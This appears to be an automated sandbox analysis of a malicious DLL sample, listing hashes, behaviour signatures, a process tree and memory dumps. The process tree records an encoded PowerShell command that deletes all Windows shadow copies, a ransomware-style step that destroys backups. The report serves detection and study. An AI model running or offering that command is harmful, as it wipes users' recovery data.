Analysis
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max time kernel
137s -
max time network
183s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
31-05-2022 06:03
Static task
static1
Behavioral task
behavioral1
Sample
06704bd07416c61583ad5929b39329a6d90c7299e64bb107c37973ed393df762.dll
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
06704bd07416c61583ad5929b39329a6d90c7299e64bb107c37973ed393df762.dll
Resource
win10v2004-20220414-en
General
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Target
06704bd07416c61583ad5929b39329a6d90c7299e64bb107c37973ed393df762.dll
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Size
164KB
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MD5
ecf7748fac09f62da5e16cbc0956f973
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SHA1
8ddff0ed4213273006943ab911a0358c6ca87d7f
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SHA256
06704bd07416c61583ad5929b39329a6d90c7299e64bb107c37973ed393df762
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SHA512
5b4396d10d4c25865f7b54b594ae5879ad86d36d80a15084ab9691c7f82314bf5c0200a1e2d8355aaf69a5a952d735f939508aaae3aa2ad66d623028673921b6
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\Y: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
rundll32.exepowershell.exepid process 2028 rundll32.exe 2028 rundll32.exe 4020 powershell.exe 4020 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 4020 powershell.exe Token: SeBackupPrivilege 4432 vssvc.exe Token: SeRestorePrivilege 4432 vssvc.exe Token: SeAuditPrivilege 4432 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 4044 wrote to memory of 2028 4044 rundll32.exe rundll32.exe PID 4044 wrote to memory of 2028 4044 rundll32.exe rundll32.exe PID 4044 wrote to memory of 2028 4044 rundll32.exe rundll32.exe PID 2028 wrote to memory of 4020 2028 rundll32.exe powershell.exe PID 2028 wrote to memory of 4020 2028 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\06704bd07416c61583ad5929b39329a6d90c7299e64bb107c37973ed393df762.dll,#11⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\06704bd07416c61583ad5929b39329a6d90c7299e64bb107c37973ed393df762.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/2028-130-0x0000000000000000-mapping.dmp
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memory/4020-131-0x0000000000000000-mapping.dmp
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memory/4020-132-0x000001F25F640000-0x000001F25F662000-memory.dmpFilesize
136KB
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memory/4020-133-0x00007FF94E510000-0x00007FF94EFD1000-memory.dmpFilesize
10.8MB
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memory/4020-134-0x00007FF94E510000-0x00007FF94EFD1000-memory.dmpFilesize
10.8MB